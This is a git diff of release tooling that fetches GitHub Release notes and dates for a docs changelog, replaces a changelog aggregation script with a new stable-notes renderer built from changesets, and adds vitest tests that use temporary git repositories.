+export function passedCutover(scan: MarkedNotesScan): boolean {
+ const cutover = cutoverOf(scan);
+ return cutover !== null && scan.oldestCreatedAt < cutover.publishedAt - NOTES_LAG_MS;
+}
+
+export interface ReleaseFeed {
+ dates: Map<string, string>;
+ notes: Map<string, string>;
+ notesComplete: boolean;
+ failure: string | null;
+}
+
+export async function fetchReleaseFeed({
+ dateLimit = DATE_LIMIT,
+ changelogTags,
+ fetchImpl = fetch,
+}: {
+ dateLimit?: number;
+ changelogTags: ReadonlySet<string>;
+ fetchImpl?: typeof fetch;
+}): Promise<ReleaseFeed> {
const dates = new Map<string, string>();
+ const scan = newMarkedNotesScan();
+ let exhausted = false;
+ let failure: string | null = null;
const token = process.env.GITHUB_TOKEN;
const headers = {
accept: 'application/vnd.github+json',
@@ -93,21 +204,73 @@ export async function fetchReleaseDates(
...(token ? { authorization: `Bearer ${token}` } : {}),
};
try {
- for (let page = 1; page <= MAX_DATE_PAGES && dates.size < limit; page++) {
+ for (let page = 1; ; page++) {
+ const wantDates = page <= MAX_DATE_PAGES && dates.size < dateLimit;
+ if (!wantDates && passedCutover(scan)) break;
+ if (page > MAX_RELEASE_PAGES) {
+ failure = `stopped at the ${MAX_RELEASE_PAGES}-page cap`;
+ break;
+ }
const res = await fetchImpl(`${RELEASES_API}?per_page=${PER_PAGE}&page=${page}`, { headers });
- if (!res.ok) break;
+ if (!res.ok) {
+ failure = `page ${page} returned HTTP ${res.status}`;
+ break;
+ }
const payload = await res.json();
- collectDates(payload, dates, limit);
- if (!Array.isArray(payload) || payload.length < PER_PAGE) break;
+ if (!Array.isArray(payload)) {
+ failure = `page ${page} returned a body that is not a list of releases`;
+ break;
+ }
+ if (wantDates) collectDates(payload, dates, dateLimit);
+ collectMarkedNotes(payload, scan, changelogTags);
+ if (payload.length < PER_PAGE) {
+ exhausted = true;
+ break;
+ }
}
} catch (err) {
- console.warn(
- `[releases] date enrichment failed; building changelog without dates: ${
- err instanceof Error ? err.message : String(err)
- }`,
- );
+ failure = err instanceof Error ? err.message : String(err);
+ console.warn(`[releases] date enrichment failed; building changelog without dates: ${failure}`);
}
- return dates;
+ return {
+ dates,
+ notes: scan.notes,
+ notesComplete: passedCutover(scan) || exhausted,
+ failure,
+ };
+}
+
+function compareTagsDescending(a: ReleaseNote, b: ReleaseNote): number {
+ return compareVersions(b.tag, a.tag);
+}
+
+export function mergeReleaseNotes(
+ changelogReleases: ReleaseNote[],
+ notes: ReadonlyMap<string, string>,
+ dates: ReadonlyMap<string, string>,
+): ReleaseNote[] {
+ if (notes.size === 0) return changelogReleases;
+ const fromBodies = [...notes].map(([tag, markdown]) => ({
+ tag,
+ title: tag,
+ publishedAt: dates.get(tag) ?? null,
+ bodyHtml: renderNotes(markdown),
+ htmlUrl: `${REPO_URL}/releases/tag/${tag}`,
+ }));
+ return [...fromBodies, ...changelogReleases.filter((release) => !notes.has(release.tag))].sort(
+ compareTagsDescending,
+ );
+}
+
+export function releaseNotesFrom(feed: ReleaseFeed): ReadonlyMap<string, string> {
+ if (feed.notesComplete) return feed.notes;
+ const reason =
+ '[releases] could not read every stable Release body back to the newest one without notes' +
+ `${feed.failure ? ` (${feed.failure})` : ''}; ` +
+ 'the changelog cannot tell which versions have notes in their Release body.';
+ if (RELEASE_NOTES_REQUIRED) throw new Error(reason);
+ console.warn(`${reason} Showing packages/cli/CHANGELOG.md notes only.`);
+ return new Map();
}
function readChangelog(): string | null {
@@ -133,12 +296,23 @@ export async function loadStableReleases(
): Promise<ReleaseNote[]> {
const markdown = readChangelog();
if (markdown === null) return [];
- const dates = await fetchReleaseDates(DATE_LIMIT, deps.fetchImpl ?? fetch);
- const releases = parseChangelog(markdown, dates);
- if (releases.length === 0) {
+ const changelogTags = new Set(
+ markdown.split('\n').flatMap((line) => {
+ const heading = VERSION_HEADING.exec(line);
+ return heading ? [`v${heading[1]}`] : [];
+ }),
+ );
+ const feed = await fetchReleaseFeed({
+ dateLimit: DATE_LIMIT,
+ changelogTags,
+ fetchImpl: deps.fetchImpl ?? fetch,
+ });
+ const changelogReleases = parseChangelog(markdown, feed.dates);
+ if (changelogReleases.length === 0) {
throw new Error(
`[changelog] CHANGELOG.md at ${CHANGELOG_PATH} has no \`## X.Y.Z\` sections — malformed or empty.`,
);
}
+ const releases = mergeReleaseNotes(changelogReleases, releaseNotesFrom(feed), feed.dates);
return Number.isFinite(limit) ? releases.slice(0, limit) : releases;
}
diff --git a/scripts/aggregate-stable-changelog.mjs b/scripts/aggregate-stable-changelog.mjs
deleted file mode 100644
index 3654346b9..000000000
--- a/scripts/aggregate-stable-changelog.mjs
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/usr/bin/env node
-import { pathToFileURL } from 'node:url';
-
-const LEVELS = ['Major', 'Minor', 'Patch'];
-
-const LEVEL_HEADING = /^#{2,4} (Major|Minor|Patch) Changes\s*$/;
-
-const STRIP_LINE =
- /^(?:<!-- ok-consumed-set:.*-->|Delta since previous beta\b.*|First beta of the cycle\b.*)\s*$/;
-
-const STRIP_DOWNLOADS_BLOCK = /<!-- ok-downloads:start -->[\s\S]*?<!-- ok-downloads:end -->/g;
-
-export function aggregateStableChangelog(input) {
- const withoutDownloads = input.replace(STRIP_DOWNLOADS_BLOCK, '');
- const buckets = { Major: [], Minor: [], Patch: [] };
- let level = null;
- let block = null;
-
- const flush = () => {
- if (level && block) {
- while (block.length && block[block.length - 1].trim() === '') block.pop();
- if (block.length) buckets[level].push(block.join('\n'));
- }
- block = null;
- };
-
- for (const line of withoutDownloads.split('\n')) {
- if (STRIP_LINE.test(line)) continue;
- const heading = LEVEL_HEADING.exec(line);
- if (heading) {
- flush();
- level = heading[1];
- continue;
- }
- if (line.startsWith('- ')) {
- flush();
- block = [line];
- continue;
- }
- if (block) block.push(line);
- }
- flush();
-
- const out = [];
- for (const lvl of LEVELS) {
- if (buckets[lvl].length === 0) continue;
- out.push(`### ${lvl} Changes`, '', buckets[lvl].join('\n\n'), '');
- }
- const body = out.join('\n').replace(/\n+$/, '');
- return body ? `${body}\n` : '';
-}
-
-function main() {
- const chunks = [];
- process.stdin.on('data', (c) => chunks.push(c));
- process.stdin.on('end', () => {
- process.stdout.write(aggregateStableChangelog(Buffer.concat(chunks).toString('utf8')));
- });
-}
-
-if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
- main();
-}
diff --git a/scripts/aggregate-stable-changelog.test.mjs b/scripts/aggregate-stable-changelog.test.mjs
deleted file mode 100644
index 826e8ca31..000000000
--- a/scripts/aggregate-stable-changelog.test.mjs
+++ /dev/null
@@ -1,131 +0,0 @@
-import { describe, expect, test } from 'vitest';
-import { aggregateStableChangelog } from './aggregate-stable-changelog.mjs';
-
-function betaBody({ lead, section }) {
- return `${lead}\n\n${section}\n\n<!-- ok-consumed-set: ["x"] -->\n`;
-}
-
-describe('aggregateStableChangelog', () => {
- test('merges bullets from many betas into one section per level (Major → Minor → Patch)', () => {
- const input = [
- betaBody({
- lead: 'Delta since previous beta (v0.31.0-beta.0) — 1 new changeset.',
- section: '### Minor Changes\n\n- Minor from beta.1',
- }),
- betaBody({
- lead: 'Delta since previous beta (v0.31.0-beta.1) — 1 new changeset.',
- section: '### Patch Changes\n\n- Patch from beta.2',
- }),
- betaBody({
- lead: 'Delta since previous beta (v0.31.0-beta.2) — 1 new changeset.',
- section: '### Patch Changes\n\n- Patch from beta.3',
- }),
- betaBody({
- lead: 'First beta of the cycle.',
- section: '### Major Changes\n\n- Major from beta.4',
- }),
- ].join('\n');
-
- expect(aggregateStableChangelog(input)).toBe(
- [
- '### Major Changes',
- '',
- '- Major from beta.4',
- '',
- '### Minor Changes',
- '',
- '- Minor from beta.1',
- '',
- '### Patch Changes',
- '',
- '- Patch from beta.2',
- '',
- '- Patch from beta.3',
- '',
- ].join('\n'),
- );
- });
-
- test('omits a level entirely when it has no changesets', () => {
- const input = betaBody({
- lead: 'First beta of the cycle.',
- section: '### Patch Changes\n\n- Only a patch',
- });
- const out = aggregateStableChangelog(input);
- expect(out).toBe('### Patch Changes\n\n- Only a patch\n');
- expect(out).not.toContain('Major Changes');
- expect(out).not.toContain('Minor Changes');
- });
-
- test('drops no preamble of its own — no version header or promotion note', () => {
- const out = aggregateStableChangelog(
- betaBody({ lead: 'First beta of the cycle.', section: '### Minor Changes\n\n- A change' }),
- );
- expect(out.startsWith('### Minor Changes')).toBe(true);
- expect(out).not.toContain('Stable promotion of beta');
- expect(out).not.toContain('Aggregated changes since previous stable');
- expect(out).not.toMatch(/^## \d/m);
- });
-
- test('strips per-beta bookkeeping lines (consumed-set marker, delta/first-beta lead)', () => {
- const out = aggregateStableChangelog(
- betaBody({
- lead: 'Delta since previous beta (v1.0.0-beta.0) — 2 new changesets.',
- section: '### Patch Changes\n\n- A patch',
- }),
- );
- expect(out).not.toContain('ok-consumed-set');
- expect(out).not.toContain('Delta since previous beta');
- expect(out).not.toContain('First beta of the cycle');
- });
-
- test('strips the Downloads block even when a bullet block is still open above it', () => {
- const downloads = [
- '<!-- ok-downloads:start -->',
- '## Downloads',
- '',
- '| Platform | Architecture | Download |',
- '| --- | --- | --- |',
- '| Windows | x64 | [OpenKnowledge-Setup-x64.exe](https://example.invalid/x) |',
- '<!-- ok-downloads:end -->',
- ].join('\n');
- const out = aggregateStableChangelog(
- `Delta since previous beta (v1.0.0-beta.0)\n\n### Patch Changes\n\n- A patch\n\n<!-- ok-consumed-set: ["x"] -->\n\n${downloads}\n`,
- );
- expect(out).toContain('- A patch');
- expect(out).not.toContain('Downloads');
- expect(out).not.toContain('|');
- expect(out).not.toContain('ok-downloads');
- });
-
- test('preserves a bullet body verbatim, including indented continuation paragraphs', () => {
- const bullet = [
- '- Report a bug from inside the app. Opens from Help → Report a Bug…',
- '',
- ' A second paragraph, indented two spaces, with `code` and a — dash.',
- '',
- ' A third paragraph.',
- ].join('\n');
- const out = aggregateStableChangelog(`### Minor Changes\n\n${bullet}\n`);
- expect(out).toBe(`### Minor Changes\n\n${bullet}\n`);
- });
-
- test('keeps multiple bullets within a single beta section', () => {
- const input = '### Patch Changes\n\n- First patch\n\n- Second patch\n\n- Third patch\n';
- expect(aggregateStableChangelog(input)).toBe(
- '### Patch Changes\n\n- First patch\n\n- Second patch\n\n- Third patch\n',
- );
- });
-
- test('tolerates h2 and h4 level headings (upstream heading-level drift)', () => {
- const input = '## Minor Changes\n\n- via h2\n\n#### Patch Changes\n\n- via h4\n';
- expect(aggregateStableChangelog(input)).toBe(
- '### Minor Changes\n\n- via h2\n\n### Patch Changes\n\n- via h4\n',
- );
- });
-
- test('empty input yields empty output (no headings emitted for absent levels)', () => {
- expect(aggregateStableChangelog('')).toBe('');
- expect(aggregateStableChangelog('\n\n')).toBe('');
- });
-});
diff --git a/scripts/compute-stable-version.mjs b/scripts/compute-stable-version.mjs
index 50e39ad43..d3782a8b7 100644
--- a/scripts/compute-stable-version.mjs
+++ b/scripts/compute-stable-version.mjs
@@ -202,61 +202,92 @@ export function gitAt(cwd) {
`git merge-base --is-ancestor ${a} ${b} failed (exit ${res.status}): ${String(res.stderr || '').trim()}`,
);
},
+ changesetText: (sha, id) => runGit(['show', `${sha}:./.changeset/${id}.md`], cwd),
+ stableTags: () =>
+ runGit(['tag', '--list', 'v*'], cwd)
+ .split('\n')
+ .map((line) => line.trim())
+ .filter((tag) => STABLE_TAG_RE.test(tag)),
bumpTypeOf: (sha, id) =>
maxReleaseType(loadChangesets().parse(runGit(['show', `${sha}:./.changeset/${id}.md`], cwd)).releases),
};
}
+export function releasedChangesetIds(git, { excludeTags = [], releasedTags = null } = {}) {
+ const excluded = new Set(excludeTags);
+ const released = new Set();
+ for (const tag of releasedTags ?? git.stableTags()) {
+ if (excluded.has(tag)) continue;
+ for (const id of git.changesetIds(tag)) released.add(id);
+ }
+ return released;
+}
+
+export function unreleasedChangesetIds(git, sha, { excludeTags = [], releasedTags = null } = {}) {
+ const released = releasedChangesetIds(git, { excludeTags, releasedTags });
+ return git.changesetIds(sha).filter((id) => !released.has(id));
+}
+
export const realGit = gitAt();
-const BUMP_VERDICT_TYPES = new Set(['patch', 'minor', 'major', null]);
+const VERDICT_TYPES = new Set(['patch', 'minor', 'major', null]);
-export function parseBumpVerdicts(raw) {
+const BUMP_VERDICTS = {
+ env: 'BUMP_VERDICTS',
+ output: 'bump_verdicts',
+ job: 'read-bumps',
+ noun: 'bump verdict',
+ value: 'bump types',
+};
+
+export function parseVerdicts(raw, { env, output, job, noun, value }) {
if (String(raw ?? '').trim() === '') {
throw new Error(
- 'BUMP_VERDICTS is empty: the read-bumps job wrote no bump_verdicts output, or this step does not ' +
- 'receive needs.read-bumps.outputs.bump_verdicts.',
+ `${env} is empty: the ${job} job wrote no ${output} output, or this step does not ` +
+ `receive needs.${job}.outputs.${output}.`,
);
}
let parsed;
try {
parsed = JSON.parse(String(raw));
} catch (err) {
- throw new Error(`bump verdicts are not JSON: ${err.message}`);
+ throw new Error(`${noun}s are not JSON: ${err.message}`);
}
if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {
- throw new Error('bump verdicts must be a JSON object mapping changeset blob ids to bump types.');
+ throw new Error(`${noun}s must be a JSON object mapping changeset blob ids to ${value}.`);
}
for (const [blob, type] of Object.entries(parsed)) {
- if (!BUMP_VERDICT_TYPES.has(type)) {
- throw new Error(`bump verdict for blob ${blob} is ${JSON.stringify(type)}, not patch, minor, major or null.`);
+ if (!VERDICT_TYPES.has(type)) {
+ throw new Error(`${noun} for blob ${blob} is ${JSON.stringify(type)}, not patch, minor, major or null.`);
}
}
return new Map(Object.entries(parsed));
}
+export const parseBumpVerdicts = (raw) => parseVerdicts(raw, BUMP_VERDICTS);
+
export const serializeBumpVerdicts = (verdicts) => JSON.stringify(Object.fromEntries(verdicts));
-export function recordBumpVerdicts(git, verdicts) {
+export function recordVerdicts(git, method, verdicts) {
return {
...git,
- bumpTypeOf: (sha, id) => {
- const type = git.bumpTypeOf(sha, id);
+ [method]: (sha, id) => {
+ const type = git[method](sha, id);
verdicts.set(git.changesetBlobs(sha).get(id), type);
return type;
},
};
}
-export function withBumpVerdicts(git, verdicts) {
+export function withVerdicts(git, method, verdicts, { noun }) {
return {
...git,
- bumpTypeOf: (sha, id) => {
+ [method]: (sha, id) => {
const blob = git.changesetBlobs(sha).get(id);
if (blob === undefined || !verdicts.has(blob)) {
throw new Error(
- `no bump verdict for .changeset/${id}.md at ${sha} (blob ${blob ?? 'absent'}); the job that ran the ` +
- 'Changesets reader did not read this changeset, so its bump is unknown here.',
+ `no ${noun} for .changeset/${id}.md at ${sha} (blob ${blob ?? 'absent'}); the job that ran the ` +
+ `Changesets reader did not read this changeset, so its ${noun} is unknown here.`,
);
}
return verdicts.get(blob);
@@ -264,6 +295,11 @@ export function withBumpVerdicts(git, verdicts) {
};
}
+export const recordBumpVerdicts = (git, verdicts) => recordVerdicts(git, 'bumpTypeOf', verdicts);
+
+export const withBumpVerdicts = (git, verdicts) =>
+ withVerdicts(git, 'bumpTypeOf', verdicts, BUMP_VERDICTS);
+
export function readAnchorVersion() {
const pre = JSON.parse(readFileSync('.changeset/pre.json', 'utf8'));
if (pre.mode !== 'pre') {
diff --git a/scripts/compute-stable-version.test.mjs b/scripts/compute-stable-version.test.mjs
index af3156f21..f998b3786 100644
--- a/scripts/compute-stable-version.test.mjs
+++ b/scripts/compute-stable-version.test.mjs
@@ -14,6 +14,8 @@ import {
gitAt,
parseBumpVerdicts,
recordBumpVerdicts,
+ releasedChangesetIds,
+ unreleasedChangesetIds,
withBumpVerdicts,
} from './compute-stable-version.mjs';
import { gitCleanEnv } from './git-clean-env.mjs';
@@ -125,6 +127,39 @@ describe('computeStablePromotion', () => {
});
});
+describe('releasedChangesetIds', () => {
+ const tags = {
+ 'v1.0.0': ['a', 'x'],
+ 'v1.0.1': ['a'],
+ 'v1.1.0': ['a', 'y'],
+ };
+ const releaseGit = (extra = {}) => ({
+ stableTags: () => Object.keys(tags),
+ changesetIds: (ref) => tags[ref] ?? extra[ref] ?? [],
+ });
+
+ test('is the union of every stable tag tree, not only the newest', () => {
+ expect([...releasedChangesetIds(releaseGit())].sort()).toEqual(['a', 'x', 'y']);
+ });
+
+ test('skips the tags it is told to exclude', () => {
+ expect([...releasedChangesetIds(releaseGit(), { excludeTags: ['v1.1.0'] })].sort()).toEqual([
+ 'a',
+ 'x',
+ ]);
+ });
+
+ test('a changeset a revert point release removed from its tag stays released for the next stable', () => {
+ const git = releaseGit({ MAIN: ['a', 'x', 'y', 'z'] });
+ expect(unreleasedChangesetIds(git, 'MAIN', { excludeTags: ['v1.2.0'] })).toEqual(['z']);
+ });
+
+ test('with no stable tag every changeset is unreleased', () => {
+ const git = { stableTags: () => [], changesetIds: () => ['a', 'b'] };
+ expect(unreleasedChangesetIds(git, 'MAIN')).toEqual(['a', 'b']);
+ });
+});
+
describe('evaluateAnchorGuard', () => {
test('level anchor passes', () => {
expect(evaluateAnchorGuard({ anchorVersion: '0.41.0', latestStableTag: 'v0.41.0' })).toMatchObject({
@@ -433,6 +468,14 @@ describe('gitAt reads a commit\'s changesets the way Changesets reads the same t
expect(reader.bumpTypeOf('HEAD', 'quoted')).toBe('minor');
});
+ test('stableTags lists only vX.Y.Z tags, whatever else the clone carries', () => {
+ const root = committedChangesets({ 'plain.md': bump(`"${OK}": patch`) });
+ for (const tag of ['v1.0.0', 'v1.0.1-beta.0', 'v1.1.0', 'docs-v2', 'v2'])
+ git(root, ['tag', tag]);
+ expect(gitAt(root).stableTags().sort()).toEqual(['v1.0.0', 'v1.1.0']);
+ expect(gitAt(root).changesetIds('v1.1.0')).toEqual(['plain']);
+ });
+
test('a changeset Changesets cannot parse fails the read instead of counting as no bump', () => {
const root = committedChangesets({ 'broken.md': bump(`"${OK}": Major`) });
expect(() => gitAt(root).bumpTypeOf('HEAD', 'broken')).toThrow();
diff --git a/scripts/render-stable-notes.mjs b/scripts/render-stable-notes.mjs
new file mode 100644
index 000000000..91c52664b
--- /dev/null
+++ b/scripts/render-stable-notes.mjs
@@ -0,0 +1,210 @@
+#!/usr/bin/env node
+import { appendFileSync, readFileSync } from 'node:fs';
+import { pathToFileURL } from 'node:url';
+import {
+ createShippedFixCheck,
+ parseReleaseListing,
+} from '../.github/scripts/shipped-fix-containment.mjs';
+import { FIXED_GROUP_ANCHOR, loadChangesets, maxReleaseType } from './compute-next-beta.mjs';
+import {
+ gitAt,
+ parseVerdicts,
+ recordVerdicts,
+ runGit,
+ serializeBumpVerdicts,
+ unreleasedChangesetIds,
+ withVerdicts,
+} from './compute-stable-version.mjs';
+
+export const NOTES_SOURCE_MARKER = '<!-- ok-notes-source: stable-tag-tree -->';
+
+export const EMPTY_NOTES = 'No changelog entries.';
+
+const NOTE_LEVELS = {
+ env: 'NOTE_LEVELS',
+ output: 'note_levels',
+ job: 'read-bumps',
+ noun: 'note level',
+ value: 'release-note levels',
+};
+
+const SECTIONS = [
+ ['major', 'Major Changes'],
+ ['minor', 'Minor Changes'],
+ ['patch', 'Patch Changes'],
+];
+
+const CHANGESET_FILE = /\s*---([\s\S]*?)\n\s*---(\s*(?:\n|$)[\s\S]*)/;
+
+export function changesetSummary(text) {
+ const match = CHANGESET_FILE.exec(String(text ?? ''));
+ if (!match)
+ throw new Error(
+ 'changeset has no frontmatter delimited by "---"; Changesets cannot read it either.',
+ );
+ return match[2].trim();
+}
+
+export function fixedGroupOf(config) {
+ const group = (config?.fixed ?? []).find((members) => members.includes(FIXED_GROUP_ANCHOR));
+ return group ?? [FIXED_GROUP_ANCHOR];
+}
+
+export function noteLevel(releases, fixedGroup) {
+ const cli = releases.filter(({ name, type }) => name === FIXED_GROUP_ANCHOR && type !== 'none');
+ return maxReleaseType(
+ cli.length > 0 ? cli : releases.filter(({ name }) => fixedGroup.includes(name)),
+ );
+}
+
+export function renderEntry(summary) {
+ const [first, ...rest] = summary.split('\n').map((line) => line.trimEnd());
+ return [`- ${first}`, ...rest.map((line) => (line === '' ? '' : ` ${line}`))].join('\n');
+}
+
+const isLoose = (summary) => /\n[ \t]*\n/.test(summary);
+
+const fileOrder = (a, b) => {
+ const left = `${a.id}.md`;
+ const right = `${b.id}.md`;
+ return left < right ? -1 : left > right ? 1 : 0;
+};
+
+export function renderStableNotes(entries, { marked = false } = {}) {
+ const sections = [];
+ for (const [level, heading] of SECTIONS) {
+ const items = entries.filter((entry) => entry.level === level).sort(fileOrder);
+ if (items.length === 0) continue;
+ const lines = [];
+ items.forEach((entry, index) => {
+ lines.push(renderEntry(entry.summary));
+ if (index < items.length - 1 && isLoose(entry.summary)) lines.push('');
+ });
+ sections.push(`### ${heading}\n\n${lines.join('\n')}`);
+ }
+ if (sections.length === 0) return `${EMPTY_NOTES}\n`;
+ const notes = sections.join('\n\n');
+ return marked ? `${notes}\n\n${NOTES_SOURCE_MARKER}\n` : `${notes}\n`;
+}
+
+export function collectStableNotes({ commit, excludeTags = [], releasedTags = null }, git) {
+ return unreleasedChangesetIds(git, commit, { excludeTags, releasedTags })
+ .map((id) => ({
+ id,
+ level: git.noteLevelOf(commit, id),
+ summary: changesetSummary(git.changesetText(commit, id)),
+ }))
+ .filter((entry) => entry.level !== null);
+}
+
+export function stableNotes({ commit, excludeTags = [], publishedTags = null }, git) {
+ const entries = collectStableNotes({ commit, excludeTags, releasedTags: publishedTags }, git);
+ return renderStableNotes(entries, { marked: Array.isArray(publishedTags) });
+}
+
+export function readPublishedStableTags({ releasesFile = '' } = {}) {
+ try {
+ return createShippedFixCheck(
+ releasesFile === ''
+ ? {}
+ : { listReleases: () => parseReleaseListing(readFileSync(releasesFile, 'utf8')) },
+ ).publishedStableTags();
+ } catch (err) {
+ console.error(
+ `::warning::render-stable-notes: could not read the published stable Releases (${err instanceof Error ? err.message : String(err)}). ` +
+ 'The notes count every stable tag as released, so they may leave out changesets first tagged in a stable ' +
+ 'whose Release never published, and they carry no notes-source marker; the docs keep CHANGELOG.md for this version.',
+ );
+ return null;
+ }
+}
+
+export function noteReaderAt(cwd) {
+ const git = gitAt(cwd);
+ const fixedGroups = new Map();
+ const fixedGroupAt = (sha) => {
+ if (!fixedGroups.has(sha)) {
+ fixedGroups.set(
+ sha,
+ fixedGroupOf(JSON.parse(runGit(['show', `${sha}:./.changeset/config.json`], cwd))),
+ );
+ }
+ return fixedGroups.get(sha);
+ };
+ return {
+ ...git,
+ noteLevelOf: (sha, id) => {
+ const text = git.changesetText(sha, id);
+ const parsed = loadChangesets().parse(text);
+ if (parsed.summary !== changesetSummary(text)) {
+ throw new Error(
+ `.changeset/${id}.md at ${sha}: the summary this renderer reads differs from the one Changesets reads, ` +
+ 'so its release note would not match the changelog.',
+ );
+ }
+ return noteLevel(parsed.releases, fixedGroupAt(sha));
+ },
+ };
+}
+
+export const parseNoteLevels = (raw) => parseVerdicts(raw, NOTE_LEVELS);
+
+export const serializeNoteLevels = serializeBumpVerdicts;
+
+export const recordNoteLevels = (git, levels) => recordVerdicts(git, 'noteLevelOf', levels);
+
+export const withNoteLevels = (git, levels) =>
+ withVerdicts(git, 'noteLevelOf', levels, NOTE_LEVELS);
+
+export function parseArgs(argv) {
+ const args = { readLevels: false, commit: '', excludeTags: [], releasesFile: '' };
+ for (let i = 0; i < argv.length; i += 1) {
+ const arg = argv[i];
+ if (arg === '--read-levels') args.readLevels = true;
+ else if (arg === '--commit') args.commit = argv[++i] ?? '';
+ else if (arg === '--releases') args.releasesFile = argv[++i] ?? '';
+ else if (arg === '--exclude-tag') {
+ const tag = argv[++i] ?? '';
+ if (tag !== '') args.excludeTags.push(tag);
+ } else throw new Error(`unknown argument '${arg}'`);
+ }
+ if (args.commit === '') throw new Error('--commit <sha> is required');
+ return args;
+}
+
+function main() {
+ let args;
+ try {
+ args = parseArgs(process.argv.slice(2));
+ const reader = noteReaderAt();
+ const commit = reader.revParse(args.commit);
+ if (args.readLevels) {
+ const levels = new Map();
+ const reading = recordNoteLevels(reader, levels);
+ const ids = reader.changesetIds(commit);
+ for (const id of ids) reading.noteLevelOf(commit, id);
+ process.stderr.write(`Read the note level of ${ids.length} changeset(s) at ${commit}.\n`);
+ if (process.env.GITHUB_OUTPUT) {
+ appendFileSync(process.env.GITHUB_OUTPUT, `note_levels=${serializeNoteLevels(levels)}\n`);
+ }
+ return;
+ }
+ const git =
+ process.env.NOTE_LEVELS === undefined
+ ? reader
+ : withNoteLevels(reader, parseNoteLevels(process.env.NOTE_LEVELS));
+ const publishedTags = readPublishedStableTags({ releasesFile: args.releasesFile });
+ process.stdout.write(
+ stableNotes({ commit, excludeTags: args.excludeTags, publishedTags }, git),
+ );
+ } catch (err) {
+ console.error(
+ `::error::render-stable-notes: ${err instanceof Error ? err.message : String(err)}`,
+ );
+ process.exit(1);
+ }
+}
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
+ main();
+}
diff --git a/scripts/render-stable-notes.test.mjs b/scripts/render-stable-notes.test.mjs
new file mode 100644
index 000000000..2298d707e
--- /dev/null
+++ b/scripts/render-stable-notes.test.mjs
@@ -0,0 +1,643 @@
+import { spawnSync } from 'node:child_process';
+import {
+ copyFileSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ realpathSync,
+ rmSync,
+ writeFileSync,
+} from 'node:fs';
+import { createRequire } from 'node:module';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { afterEach, describe, expect, test } from 'vitest';
+import { configureTestGitRepository } from '../test-support/configure-git-fixture.test-helper.ts';
+import {
+ NOTES_SOURCE_MARKER as DOCS_NOTES_SOURCE_MARKER,
+ markedNotes,
+} from '../docs/src/lib/releases.ts';
+import { gitCleanEnv } from './git-clean-env.mjs';
+import {
+ changesetSummary,
+ collectStableNotes,
+ EMPTY_NOTES,
+ fixedGroupOf,
+ NOTES_SOURCE_MARKER,
+ noteLevel,
+ noteReaderAt,
+ parseArgs,
+ parseNoteLevels,
+ recordNoteLevels,
+ renderStableNotes,
+ stableNotes,
+ withNoteLevels,
+} from './render-stable-notes.mjs';
+
+const SCRIPTS = dirname(fileURLToPath(import.meta.url));
+const OK_ROOT = dirname(SCRIPTS);
+const OK = '@inkeep/open-knowledge';
+const CORE = '@inkeep/open-knowledge-core';
+const FIXED = [
+ OK,
+ CORE,
+ '@inkeep/open-knowledge-server',
+ '@inkeep/open-knowledge-app',
+ '@inkeep/open-knowledge-desktop',
+];
+const CONFIG = JSON.stringify({ changelog: '@changesets/cli/changelog', fixed: [FIXED] });
+
+const changeset = (frontmatter, summary) => `---\n${frontmatter}\n---\n\n${summary}\n`;
+
+const repos = [];
+
+afterEach(() => {
+ while (repos.length) rmSync(repos.pop(), { recursive: true, force: true });
+});
+
+function git(cwd, args) {
+ const res = spawnSync('git', args, { cwd, env: gitCleanEnv(), encoding: 'utf8' });
+ if (res.status !== 0) throw new Error(`git ${args.join(' ')} failed: ${res.stderr}`);
+ return res.stdout;
+}
+
+function tempDir(prefix) {
+ const dir = realpathSync(mkdtempSync(join(tmpdir(), prefix)));
+ repos.push(dir);
+ return dir;
+}
+
+function releaseHistory({ subtree = '' } = {}) {
+ const root = tempDir('stable-notes-history-');
+ const base = join(root, subtree);
+ const changesetDir = join(base, '.changeset');
+ git(root, ['init', '-q', '-b', 'main']);
+ configureTestGitRepository(root);
+ mkdirSync(changesetDir, { recursive: true });
+ writeFileSync(join(changesetDir, 'config.json'), CONFIG);
+ writeFileSync(join(changesetDir, 'README.md'), '# Changesets\n');
+ const commit = (message, files = {}, removed = []) => {
+ for (const [name, body] of Object.entries(files)) writeFileSync(join(changesetDir, name), body);
+ for (const name of removed) git(root, ['rm', '-q', join(changesetDir, name)]);
+ git(root, ['add', '-A']);
+ git(root, [
+ '-c',
+ 'user.name=t',
+ '-c',
+ 'commit',
+ '-q',
+ '--allow-empty',
+ '-m',
+ message,
+ ]);
+ return git(root, ['rev-parse', 'HEAD']).trim();
+ };
+ return { root, base, commit, tag: (name, sha) => git(root, ['tag', name, sha]) };
+}
+
+describe('renderStableNotes', () => {
+ test('groups entries by level, omits empty levels and ends with the source marker', () => {
+ const out = renderStableNotes(
+ [
+ { id: 'b-fix', level: 'patch', summary: 'Fix b.' },
+ { id: 'a-feature', level: 'minor', summary: 'Add a.' },
+ { id: 'a-fix', level: 'patch', summary: 'Fix a.' },
+ ],
+ { marked: true },
+ );
+ expect(out).toBe(
+ `### Minor Changes\n\n- Add a.\n\n### Patch Changes\n\n- Fix a.\n- Fix b.\n\n${NOTES_SOURCE_MARKER}\n`,
+ );
+ });
+
+ test('orders entries by changeset file name, the order Changesets reads them in', () => {
+ const out = renderStableNotes([
+ { id: 'foo', level: 'patch', summary: 'Second, because foo.md sorts after foo-bar.md.' },
+ { id: 'foo-bar', level: 'patch', summary: 'First.' },
+ { id: 'Zed', level: 'patch', summary: 'Upper case sorts before lower case.' },
+ ]);
+ expect(out.split('\n').filter((line) => line.startsWith('- '))).toEqual([
+ '- Upper case sorts before lower case.',
+ '- First.',
+ '- Second, because foo.md sorts after foo-bar.md.',
+ ]);
+ });
+
+ test('indents continuation lines and separates a multi-paragraph entry from the next one', () => {
+ const out = renderStableNotes(
+ [
+ { id: 'a', level: 'patch', summary: 'Lead.\n\nSecond paragraph.\n- nested item' },
+ { id: 'b', level: 'patch', summary: 'Single line.' },
+ { id: 'c', level: 'patch', summary: 'Last.' },
+ ],
+ { marked: true },
+ );
+ expect(out).toBe(
+ '### Patch Changes\n\n- Lead.\n\n Second paragraph.\n - nested item\n\n- Single line.\n- Last.\n\n' +
+ `${NOTES_SOURCE_MARKER}\n`,
+ );
+ });
+
+ test('the docs changelog reads the marker this renderer writes', () => {
